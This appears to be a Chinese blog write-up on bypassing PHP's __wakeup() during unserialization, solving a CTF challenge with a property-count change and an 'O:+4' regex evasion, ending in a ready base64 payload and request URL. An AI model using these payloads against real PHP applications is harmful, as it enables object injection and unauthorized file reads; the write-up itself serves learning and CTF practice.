反序列化之Wakeup方法绕过
反序列化Wakeup方法绕过
介绍
__wakeup()
是 PHP 中一个重要的魔术方法,用于对象反序列化时的自定义初始化操作。当使用 unserialize()
函数恢复对象时,PHP 会自动调用该方法
- 当对象被
serialize()
序列化时,PHP 会先调用__sleep()
方法(如果存在) - 序列化后的字符串可以存储或传输
- 当使用
unserialize()
恢复对象时:- PHP 首先创建对象的新实例(不调用
__construct()
) - 然后恢复所有属性值
- 最后调用
__wakeup()
方法
- PHP 首先创建对象的新实例(不调用
绕过原理
当序列化字符串中代表属性的数字与实际属性个数不对应时,将会直接绕过__wakeup()方法。
a:3:{s:4:"name";s:6:"张三";s:3:"age";i:25;s:8:"is_admin";b:0;}
例如:这里表示一个含有三个属性的数组,如果将a:3……
改成a:2……
将会直接绕过__wakeup()方法。
受影响版本范围
- PHP 5.x 全系列(特别是 ≤ 5.6.30)
- 完全有效,
__wakeup()
会被直接跳过
- 完全有效,
- PHP 7.0.0 - 7.0.15
- 有效,但部分小版本可能已修复
- PHP 7.1.0+
- 大部分版本已修复,但具体修复时间点取决于发行版
实战题目
攻防世界:Web_php_unserialize
<?php
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } }
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); }
} else { highlight_file("index.php");
}
?>
这里除了__wakeup()还有一个正则表达式的匹配需要注意
/[oc]:\d+:/i
匹配以下模式:
[oc]
:字母 ‘o’ 或 ‘c’(不区分大小写,因为有/i
修饰符):
:冒号\d+
:一个或多个数字:
:冒号
正常情况下,我们构造payload
<?php
class Demo { private $file = 'fl4g.php';
}$a=new Demo();
echo (serialize($a));
?>
输出:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
- 这里
o:4
会被正则表达式检测到,可以换成o:+4
带上一个正号,数值不会发生变化,也能绕过正则表达式的匹 - 而且
Demo
的属性个数是1,实际个数也是1,会被_wakeup方法过滤掉,可以换成2 - 题目中需要上传的是base64加密后的payload
所有需要注意的点我们都已经发现了,接下来就是构造payload了
<?php
class Demo { private $file = 'fl4g.php';
}$a=new Demo();
$b=serialize($a);
echo $b;
$c = str_replace('O:4','O:+4', $b);
$d = str_replace('"Demo":1:','"Demo":2:',$c);
echo $d;
echo base64_encode($d);
?>
输出:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
直接传入参数,即可得到flag。
……?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
结语
这里__wakeup()的绕过方法还是很简单的,一般情况下不会单独出现
声明
本文章用于记录和分享自己的学习过程,如有错误希望各位大佬及时指出,共勉!